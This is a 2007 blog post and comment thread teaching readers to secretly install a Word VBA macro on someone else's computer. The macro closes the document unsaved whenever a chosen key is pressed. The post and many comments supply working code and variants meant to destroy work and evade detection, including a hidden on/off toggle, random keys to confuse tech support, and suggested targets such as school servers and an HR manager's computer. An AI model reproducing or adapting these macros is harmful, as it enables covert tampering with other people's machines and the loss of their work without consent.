Thursday, November 22nd, 2007...2:10 pm
Microsoft Word Prank
If you are new to the site, sign up for the RSS Feed. All new sign ups get punch and pieRSS feed. Thanks for visiting!
What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?
Step 1: Open up Micro Soft Word
Step2: Press alt F11, this will open up a vba editor for word.
Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.
Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
Step5: Close word
Step6: Enjoy
If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.
Key Options
To change the key from E to something else replace this piece of the code in bold
.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)
If you want to use a different letter it is: wdKeyYOURLETTER
If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace
Try out different options, its a lot of fun.
COmPuTer pRAnKs, Computer Tricks, document pranks, macro pranks, macros, Microsoft macros, word macros, word pranks
138 Comments
November 24th, 2007 at 5:42 pm
This would be a cruel thing to do to someone, if I noticed this I would find out from who had did it. From the list of those who had access to my computer, I would then promptly beat them to near death.
November 24th, 2007 at 6:10 pm
This sounds like some serious fun.
November 24th, 2007 at 6:15 pm
Won’t the document just close as soon as they type the first E? I mean, my comment, if it were a Word document, would have been closed before I had typed three words.
Annoying, sure. Devastating? Wouldn’t get the chance to be.
November 24th, 2007 at 8:45 pm
Making it E would give it away too fast, to be even meaner, make it q, u, v, or z. That way, they will have completed more of their document, and may do it more than once. Also, This is a horrible thing to do, destroying someone’s hard work is very mean. Don’t do it. (just because I tell you how doesn’t mean I approve (-:)
November 24th, 2007 at 9:54 pm
E is the fastest way… That is why I used it as an example. Easy to do and easy to test. If you are out to be mean use something like backspace or “G”. It will be used its just a matter of when.
November 25th, 2007 at 1:54 am
I’d make it the colon, the @ and the apostrophe.
November 25th, 2007 at 2:04 am
This is mean… you should stick with the usefull stuff…
November 25th, 2007 at 2:27 am
Would it be possible to have it close when two keys are pressed at the same time?
Say, for a random example, Ctrl+S?
November 25th, 2007 at 2:36 am
Hmm, a good way to get people to switch to open source things. “Look, whenever you type this key, the document closes and you lose all your work in Word. It doesn’t do this in OpenOffice or StarOffice (I think that’s what it is called). We should use on of those instead and drop Microsoft Office.
November 25th, 2007 at 3:59 am
Is it possible to make this save the work before closing?
November 25th, 2007 at 7:52 am
unassuming , yes Key binding is actually designed for press multiple keys. Like Control Alt Del.
Just do BuildKeyCode(wdKeyE, wdKeyF) Now when e and f are press at the same time it will call the code
November 25th, 2007 at 7:53 am
Markus
Dont worry this was just something fun to do.
November 25th, 2007 at 7:53 am
PAZ yes
x.close(false) should x.close(true)
November 25th, 2007 at 2:09 pm
My god :O
That’d wreak horrible things to me, I always start my word documents by labeling it with my name…
November 25th, 2007 at 4:37 pm
is there a way to turn this off later on, after we’ve had our fun?
November 25th, 2007 at 5:44 pm
Ooo, this almost wants to make me install windows again…
November 25th, 2007 at 6:09 pm
Ravi,
You can just tell them where the codes is and remove it. GONE.
November 26th, 2007 at 11:53 am
It doesnt work for me!!!!!!!!!!!!!!!!!!! I do just what you say,
hit alt-f11,
the window says “microsoft visual basic” and one inside it that says “project-project”,
go to “normal”-”microsoft word objects”-”This document”,
I then paste the info, nothing happens. WTF did I do wrong?!?!? I NEED to do this. Alot of vulnerable people around
November 26th, 2007 at 12:04 pm
Bob
Change the first sub to this
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub
November 26th, 2007 at 12:40 pm
I have the same problem.
Even with the new code…
WTF?
November 26th, 2007 at 1:22 pm
you need to re-type the “
November 26th, 2007 at 2:19 pm
What versions of word does this work for?
November 26th, 2007 at 4:00 pm
I did this on 2007. If you are using an older version tell me what the errors is and maybe i’ll be able to fix it.
If the macro does not work on your first try, make sure you re type the “
November 26th, 2007 at 4:06 pm
In my version, the keybindings.add method had a different signature. I had to use the numberical ASCII code for the key.
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add wdKeyCategoryCommand, “TestKeybinding”, 69
End Sub
November 26th, 2007 at 4:08 pm
Don, Thanks for looking into that. If you could find out what version you are using I will add that to the tutorial.
November 26th, 2007 at 4:11 pm
Sure,
its Word 2002 sp3.
November 26th, 2007 at 4:12 pm
Hey… it´s not working. Maybe I am very stupid but I did what you mentioned and nothing happens.
Can anybody help me?
November 26th, 2007 at 4:13 pm
Marky, Did you close out office and then re-open? The code needs to be loaded first. You can also hit the run button in the editor to test it out.
make sure when you close word to save your normal template
November 26th, 2007 at 4:20 pm
Mmmmm— I am doing right, but it won´t work.
Please, can you copy/paste EXACTLY the code i would need? It will be useful for me, ha ha ha.
November 26th, 2007 at 5:35 pm
Shift I, that sound like the best result. Also a fun thing to do is to change the auto correct to misspell the name of a person who uses the computer frequently. I did that to some girls in highschool and they started crying because they weren’t graded for their journals(because of the wrong name)
November 27th, 2007 at 2:37 am
How do i change it back to normal?
November 27th, 2007 at 6:03 am
Does this work on the Mac version of Office?
November 27th, 2007 at 6:05 am
Much more funnier if you use this trick with a less used keystroke: doing that the probability the used has written a long (and precious) document is bigger (and bigger is the damage too
November 27th, 2007 at 8:28 am
Jeena, I agree. That is why I left key options on the bottom of the post. I picked E because it was the quickest way to get a result and I’m not as evil as most people.
November 27th, 2007 at 8:29 am
Ryan,
I am not sure. I don’t have a MAC but if you could test it on a mac machine that would be KICK ASS! Try it out, I’m sure they have vba or something like it for Office for Mac’s.
November 27th, 2007 at 8:30 am
Cordell, Erase the code.
November 27th, 2007 at 8:30 am
Marky Mark, Have you been able to figure it out yet?
November 27th, 2007 at 11:44 am
Ha ha! What a cruel world.
November 27th, 2007 at 12:47 pm
It really does sound interesting..^^..I will give a shot .
November 27th, 2007 at 1:52 pm
I just tried this, then deleted the code and now i cant use my e on word. please help me urgently. Thanks
November 27th, 2007 at 2:19 pm
AAA, If you deleted the code it should work. Close out Word and see if the code is still there when you re-open. If it is you need to delete the code again, but this time press ctrl+S and save the normal template.
November 27th, 2007 at 2:23 pm
the code isnt there and if i save the template and exit word and reopen it, it still doesnt work. Is there code to make the e key work again. Caps lock E works though just not lower case e. This is really frustrating!
November 27th, 2007 at 2:25 pm
I also tried a system restore and a restart but it did not work by the way.
November 27th, 2007 at 4:36 pm
It doesn’t work/? At least not for me? What am I doing wrong?
November 27th, 2007 at 6:19 pm
Did you re-type the “s
November 27th, 2007 at 8:45 pm
Brilliant! I’m going to have to save this code and use it on all my friends who use Windows and Microsoft products. I’m an avid Mac fan, so I love to try to convert my friends, and you know, it may just help! HA!
November 27th, 2007 at 8:51 pm
Matt U, Well I dont see this as a security flaw because if Macs offered a programming language for their office utilities this would be possible there too.
But hey if that is all it takes to convert some one from PC to a one button mouse idiot box thats fine by me
November 27th, 2007 at 9:07 pm
Cheers! Well, while I love that you at least argue in a civilized way, but I must let you know, there is now FOUR buttons on the new mouses. Just thought I’d let you know.
Oh, and do not say it’s just ripping off PCs, because who know how much was “borrowed” from Macs over the years.
And while also, I would like to mention, if this makes you feel better, that this is kind of more derected at my more…. gullible friends.
November 27th, 2007 at 10:45 pm
Touch the computer and I will break your fingers.
November 27th, 2007 at 10:54 pm
What a bunch of cruel people you guys are! Its probably way more instructive to introduce this macro technique as a means of helping with repetitive tasks rather than as a prank.
November 28th, 2007 at 1:02 am
Hey, this isnt working for me no matter what I do. I type the ” and all that, even closed word before trying.
Halp!
November 28th, 2007 at 1:32 am
i’d be pissed.
November 28th, 2007 at 7:33 am
Zoe, this isn’t really all that cruel. If you keep the letter on E or spacebar, the person barley starts and it goes away. IT is cruel if you never do anything to fix it.
November 28th, 2007 at 7:33 am
Joe what version of Word are you using. I did this on 2003
November 28th, 2007 at 7:34 am
Matt U, I always knew those Mac guys were sensitive but not emo
November 28th, 2007 at 8:28 am
Specific directions for undoing this, might be a good idea, too, eh?
November 28th, 2007 at 8:35 am
Um, you delete the code and restart word.
November 28th, 2007 at 11:56 am
personally i edited to code, when they press “e” they get “eeeeeeeeeeeeeeeeeeeeeeee”. =]
November 28th, 2007 at 1:06 pm
Even better… make it S.
(Ctrl+S is save)
and then leave the house. Quickly.
November 28th, 2007 at 1:32 pm
Laurel, you could change it to be Ctrl, S not just S. Just add a comma after the first key stroke and put the next one. I dont believe there is a limit to how many key combinations either
November 28th, 2007 at 6:39 pm
ok im doing it on word 2007 like ur and its doing noithng and i retyped the “,s
November 28th, 2007 at 10:21 pm
Austin, I just did it in 2007 and had no problems. Did you close word and restart. you can also step through the code press f8 if you get an error tell me where it occurs for you.
November 29th, 2007 at 2:06 pm
dude that is wick!!!!!
November 29th, 2007 at 3:57 pm
Hey austin, turn your macro security down to low!
November 29th, 2007 at 5:50 pm
Try this one on for size. Not only is it not a frequently used key “del”, it prompts a message basically letting them know they’ve been pwnd! I’m evil i know heehee
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(Arg1:=wdKeyDelete), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub
Sub TestKeybinding()
haahhahahah”
Dim x As Document
Set x = ActiveDocument
x.Close (False)
MsgBox “I really hope that wasn’t an important document you were trying to type up
End Sub
November 29th, 2007 at 8:25 pm
I can’t figure out how to save the new template. The code is always gone when I reopen word.
November 30th, 2007 at 1:32 am
i did this on a the server computer at school and made it ‘h’ ha ha evil now anyone who goes in word at school can’t type anything decent ha ha ha ha
November 30th, 2007 at 4:42 am
Não funcionou no Office 2007.
Doesn´t work in office 2007.
November 30th, 2007 at 5:04 am
If someone did this to me and caused me hours of grief I would.
1. Get them fired if it was at work for security breaching.
2. Toss there computer on the ground to break it.
3. Beat them to a pulp or shoot them.
You dont do crap like this without getting punished. God forbid they laugh and come up to me saying it was a joke. If I fail a class because I couldnt use word for 3 days because of this and missed the due date I would tear him apart then try to take legal action.
November 30th, 2007 at 5:20 am
im gonn put it as ctl+v so when they try to copy paste… meh i cant be bothered
November 30th, 2007 at 9:30 am
so what happens if you use f11 as the “hot key”? How do you get to the code input otherwise?
November 30th, 2007 at 9:53 am
Word has a button you can press to get into code view… Alt F11 is the fast way…
November 30th, 2007 at 1:31 pm
Okay, I tried this, and it works… But I went to delete it, and it doesn’t show any code to delete. If I go back into word, the e key doesn’t do anything. (Not closing it either.)
I tried exiting, saving the boxes with no code, etc, and nothing has been working, with no code to delete, I can’t change it. Is there a code I can put in to return it to normal, or an edit to that one that will make it act normal again?
November 30th, 2007 at 1:55 pm
hey Kay, i am having the same problem. i cannot get the lower ‘e’ to work again…HELP
November 30th, 2007 at 2:09 pm
every time i close word (after putting in the code) then reopen it, it doesnt work and the code is gone..
November 30th, 2007 at 2:16 pm
kay, i too am having the same problem…HELP!
November 30th, 2007 at 2:16 pm
I think I’ll just prank someone using AutoCorrect, where the word ‘the’ is replaced by another word =)
November 30th, 2007 at 2:48 pm
awesome!! can’t wait to try it out…*evil grin*
November 30th, 2007 at 6:41 pm
heh just use the spacebar in this
that would screw anyone up rapidly
November 30th, 2007 at 7:36 pm
People pranking yourselves…lol.
That’s what you get for trying out such an evil prank.
November 30th, 2007 at 8:04 pm
This is fucking sweet. A+.
November 30th, 2007 at 8:23 pm
To those with the e problem, just clear all the code (if not already) and put this in:
Sub clear()
KeyBindings.ClearAll
ThisDocument.clear
End Sub
Then get the VB editor to run it through. It WILL appear to lock up. Let it go, and eventually you will get an error (Error 28). Dismiss it, then erase all, and save. I have no idea what else this might clear. Someone wish to clear this up/fix code to not throw error?
November 30th, 2007 at 9:48 pm
Has anyone noticed the irony here? I refer to the trouble-shooting issues set forth above regarding the code issues (i.e. AAA; Joe; Austin Gore et. al.).
I mean, many start out trying it on their own computer in order to screw with others , yet end up screwing themselves up! The irony is palpable. Typical Windows (which is my OS).
Well done Jeff, thank you for the insight and resulting comments.
Best,
Mr. Feasor
December 1st, 2007 at 12:27 am
Dudes, I think something is screwed up with my computer. I did the trick above, but now ever time I open word and type “E” it closes. WTF? I knew that code listed here was probably a virus! Argg.
December 1st, 2007 at 10:11 am
I had to compile it so that it worked, I also had to compile after I deleted the code for Word to work normally.
I was using Word 2003 v. 11.5604.5606
December 1st, 2007 at 10:32 am
If the key is not working for you I have no idea why. I have had no problem what so ever after the code is erased.
December 2nd, 2007 at 8:52 pm
There’s GOT TO BE a way to make it happen so that whenever someone types “e” some phrase or word(chosen by the programmer) would appear.
Such as this.
Hi! My name is…
Hi! My namILIKEPENISLOL is…
The only question is how…I’m sure you know.
December 3rd, 2007 at 9:21 am
Nice prank. Gota love macros and vbscript. Thank Microsoft for making this work on your computers. Until then, OpenOffice.org FTW!!!
December 3rd, 2007 at 3:40 pm
ZOMG! I hat this! Sombody hackd into my computar and mad my comp crash whn I us tha 5th lattar! Halp!!!
December 4th, 2007 at 6:47 am
I love this trick! My mate and i are forever finding new ways to hack each others computers but i must admit this is something i never thought of…. and neither did he
oh how the tears of joyous merriment stream down my face… thank you!!!
December 5th, 2007 at 12:00 pm
This will be so fun to do.
December 5th, 2007 at 12:16 pm
I tried the code and it worked fine. Later when I deleted the code i couldn’t get my e’s back….so i tried Jordan’s code and and it worked! Thanks Jordan.
December 5th, 2007 at 6:25 pm
I had the problem with the no-lowercase-e as well as those many other people. And, like etzen, I tried Jordan’s code and, like etzen, it worked! Double praise for you!
December 5th, 2007 at 10:36 pm
Doesn’t anyone have the sense to mirror their machines before farting around?
December 6th, 2007 at 6:30 pm
ok, this sounds awsome but it isnt working whenever i try it. i copy-paste the code, re-type the quotation marks, and then i exit word. i open it back up but the “e” key still works fine. the code is still there, but nothing happens. any help?
December 7th, 2007 at 10:23 am
Kiltman: Use the following code instead:
Public Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add wdKeyCategoryCommand, “TestKeybinding”, BuildKeyCode(wdKeyE)
End Sub
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
Public Sub TestKeybinding()
Selection.Range.InsertAfter “ILIKEPENISLOL”
End Sub
December 7th, 2007 at 10:57 pm
[...] from HackNMod sent this hack where you can automatically close Microsoft Word when you victim type ‘E’. Just don’t blame me if you get fired. If you do get fired, you can start making whole bunch [...]
December 8th, 2007 at 5:26 am
This will go in the list of little pranks I like to pull on people who leave their workstations unattended and unlocked.
One of your favourite ones is to tell Windows to turn the screen sideways by pressing ctrl-alt-left-arrow. Surprisingly few people know how to fix that and will end up tilting their head sideways for long enough to restart the computer.
In the end, they learn to lock their workstations before walking away from them… which is the ultimate goal. Nothing wrong with having a bit of fun along the way…
December 10th, 2007 at 2:19 am
Lol this is so cool im gonna do this at school with ctrl s!
December 10th, 2007 at 1:53 pm
Why not go the whole nine yards and use a random letter or number each time word is opened. This will make it impossible to tie the problem down to a specific cause except that maybe there is a bad interrupt from the keyboard. Will drive tech support mad.
December 15th, 2007 at 11:47 am
hehe, that’s evil. Think I’ll have to try it out now. My gf is busy cooking dinner and her laptop is right next to me.
December 16th, 2007 at 6:29 pm
hey can someone help me i copied it and pasted it and then i exited then it says save should i safe? and when i save it says[cannot save because ther is no macros wtf help me please
December 22nd, 2007 at 11:17 am
haha kickass time to do it at school!
December 25th, 2007 at 10:50 am
I had to laugh all the time from top to the last comment. Funny.
Idea & creativity is infinity!
Bad or good is not matters here!
Keep it UP!
January 2nd, 2008 at 8:06 pm
My lowercase ‘e’ has broken after using this prank. It worked and then when I removed the code ‘e’ stopped working, uppercase ‘E’ does though. How do I fix this, I’ve tried re-entering the code saving normal, then deleting it again and saving normal again but still ‘e’ doesn’t work!
Any ideas?
January 3rd, 2008 at 2:50 pm
hay would this work at my school where you login to a computer using a different user name and password for every student… that would ruin so many peoples work i would enjoy watchen them struggle with trying to fix it and watch our stupid tech try to fix it lol.
January 3rd, 2008 at 4:40 pm
Kyle, no it wont. It is bound to their normal template. Plus my intentions aren’t to “HURT” others, but get a good laugh out of it
January 4th, 2008 at 12:16 pm
wtf!
January 4th, 2008 at 2:00 pm
Use OpenOffice!
January 4th, 2008 at 4:03 pm
Microsux, most macros can be changed with very little work to work in open office.
January 4th, 2008 at 4:04 pm
The reason they can be changed is macros aren’t designed to hurt in, but to help, I’m just manipulating common techniques. Most of these pranks I actually used for good before I converted them over.
January 8th, 2008 at 9:44 am
hello, I have done this prank on my friend, and now I have attempted to fix this, but have managed to rid him of word shutting down, but now, the lowercase “e” will no longer type on his word document. Is there any way to fix this?
January 8th, 2008 at 7:39 pm
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
run that sub
January 10th, 2008 at 10:30 am
Hey, firstly this sounds ACE
but …. I have word 2007, I press Alt+F11 and nothing happens :s please help.
January 12th, 2008 at 10:48 am
Laurel, you could change it to be Ctrl, S not just S. Just add a comma after the first key stroke and put the next one. I dont believe there is a limit to how many key combinations either
January 14th, 2008 at 2:20 pm
I ran:
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
but nothing happened and my friend is still unable to use his “e” on microsoft word.
January 17th, 2008 at 2:07 am
Thanks
January 21st, 2008 at 9:08 pm
i like ctrl+s and passing a true to the close method. that way it just freaks em out.
thnx for the idea
January 27th, 2008 at 7:07 pm
Hah. This looks great.
Does anyone know if this affects the whole computer or just the user who was logged on at the time? Because my sister’s account is on the same comp. as mine, and I want to prank her without pranking myself. =]
January 29th, 2008 at 2:58 pm
Isn’t that maybe just one step too far? I think I’d probably fail to see the funny side of things there…
Oh well, each to their own I suppose.
January 29th, 2008 at 3:19 pm
Ben, that is one of the main reasons I bind it “E” who doesn’t type “E” within the first 20 seconds of typing. If they started the document they woudn’t get far. If it was an old document then it wouldn’t remove their old work….
Thats an evil idea, what if I cleared the document then deleted and saved. So if they had a 20 page paper and started again it would delete it all and clear it. I could of course save the original under another name just for a freak out factor!
February 4th, 2008 at 11:02 pm
I am not sure if this has already been mentioned, but you can do a similar thing on Mac (office 2004), by going to Tools > Macro > Visual Basic Editor, then just entering to code how you would on windoze.
but since this is my computer, I have not tried it yet, I will let someone else find out the hard way…
February 7th, 2008 at 11:36 am
i am retyping the quotations and everything.
i have even used some of the codes .
i am using ms word 2002
and it isnt working
i am doing everything right
i am just kind of confused on what to
retype in the quotations,
or if i even need the quotations
February 12th, 2008 at 9:17 pm
Idiot
February 12th, 2008 at 9:28 pm
I updated the page so if its not working your just an idiot
February 13th, 2008 at 6:56 pm
What I meant was you are a juvenile moron.
Go out and do something worthwhile with your life.
February 13th, 2008 at 7:22 pm
Paul, what I meant is if you can’t figure this out your an idiot.
As for something worthwhile in my life, where do you think I learned how to program ? Awh Yes at college, then my job where I do something worthwhile with my life…
And this pointless sites revenue is must also be worthless
February 18th, 2008 at 4:14 pm
not sure if this has already been suggested, but here is code for Word 2003, it seems to work for me (retype the ” “)
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add wdKeyCategoryCommand0, TestKeybinding, 69
End Sub
Sub “TestKeybinding”()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
Private Sub Document_New()
End Sub
March 27th, 2008 at 4:06 pm
ah i coppied what you put up and it didnt work it all just removed the use of the letter i used, tried it on e and t and now i cant use those letters at all, i deleted the script and saved it and i still dont have the use of them
March 27th, 2008 at 4:24 pm
@Brayden
Oh the prank works, but to remove it use this code
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
March 30th, 2008 at 5:44 pm
Thanks
I have a new project for some stick in the muds at work.
April 11th, 2008 at 11:04 am
Use this code to be able to turn it on and off. You have to run the CommenceAggravation and RemoveAggravation macros to get it rolling. After that, F1 turns it on and F2 turns it off. Remember to clear any previous keybinding you had by running the DisableKeybinding macro. If you don’t, the key won’t work. Just modify the macro for whatever key you want to reset and run it. Then switch it back. I have it setup to be triggered by the letter u since it’s common and not obvious like a spacebar. To run the macros click view/toolbars/visual basic and click the play button to access them. Make sure you remove the toolbar when your done or they will notice it. You can turn it on and off with one key and they will think they’re crazy. Have fun.
Sub CommenceAggravation()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyF1), KeyCategory:=wdKeyCategoryCommand, _
Command:=”EnableKeybinding”
End Sub
Sub RemoveAggravation()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyF2), KeyCategory:=wdKeyCategoryCommand, _
Command:=”DisableKeybinding”
End Sub
Sub EnableKeybinding()
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyU), KeyCategory:=wdKeyCategoryCommand, _
Command:=”ShutEmDown”
End Sub
Public Sub DisableKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyU)).Clear
End Sub
Sub ShutEmDown()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
April 13th, 2008 at 10:58 pm
great. now that I got it working, how do i make it stop?
April 14th, 2008 at 10:29 am
You can manually run the “disablekeybinding” macro or you can press F2 while in MS Word. That disables it. You can press F1 while in MS Word to turn it back on. When you want to remove it off the computer completely, run the “disablekeybinding” macro before you delete all the code. If you don’t that key won’t work. If that happens just re-enter the text for the “disablekeybinding” macro and set it to whatever key you want to fix. Ex.( If you want to clear the binding for the space bar key, make the one code line read….KeyBindings.Key(BuildKeyCode(wdKeySpacebar)).Clear
April 18th, 2008 at 7:51 pm
[...] word document and didn’t save any of your work. Funny huh. Only if you’re a jerk like me. step 1…http://www.iambetterthanu.com/2007/11/22/microsoft-word-prank/MS05-031: Vulnerability in step-by-step interactive training could …Microsoft word 2000 step by [...]
May 15th, 2008 at 7:28 pm
Really cool would be if you could use a word instead of just a letter, so that whenever they typed your last name (or theirs), Word would quit. This would be for the human resource manager’s computer. They would never figure out why they aren’t able to add documents to your file. Awesomely cool would be if this same function could be added to Microsoft Outlook and Outlook Express.
May 16th, 2008 at 8:51 pm
I am glad we use Macs at our house. What a childish and MEAN thing to do
June 11th, 2008 at 2:58 am
f5 makes the program run. and if you delete the code if you press f5, it will stay deleted
Leave a Reply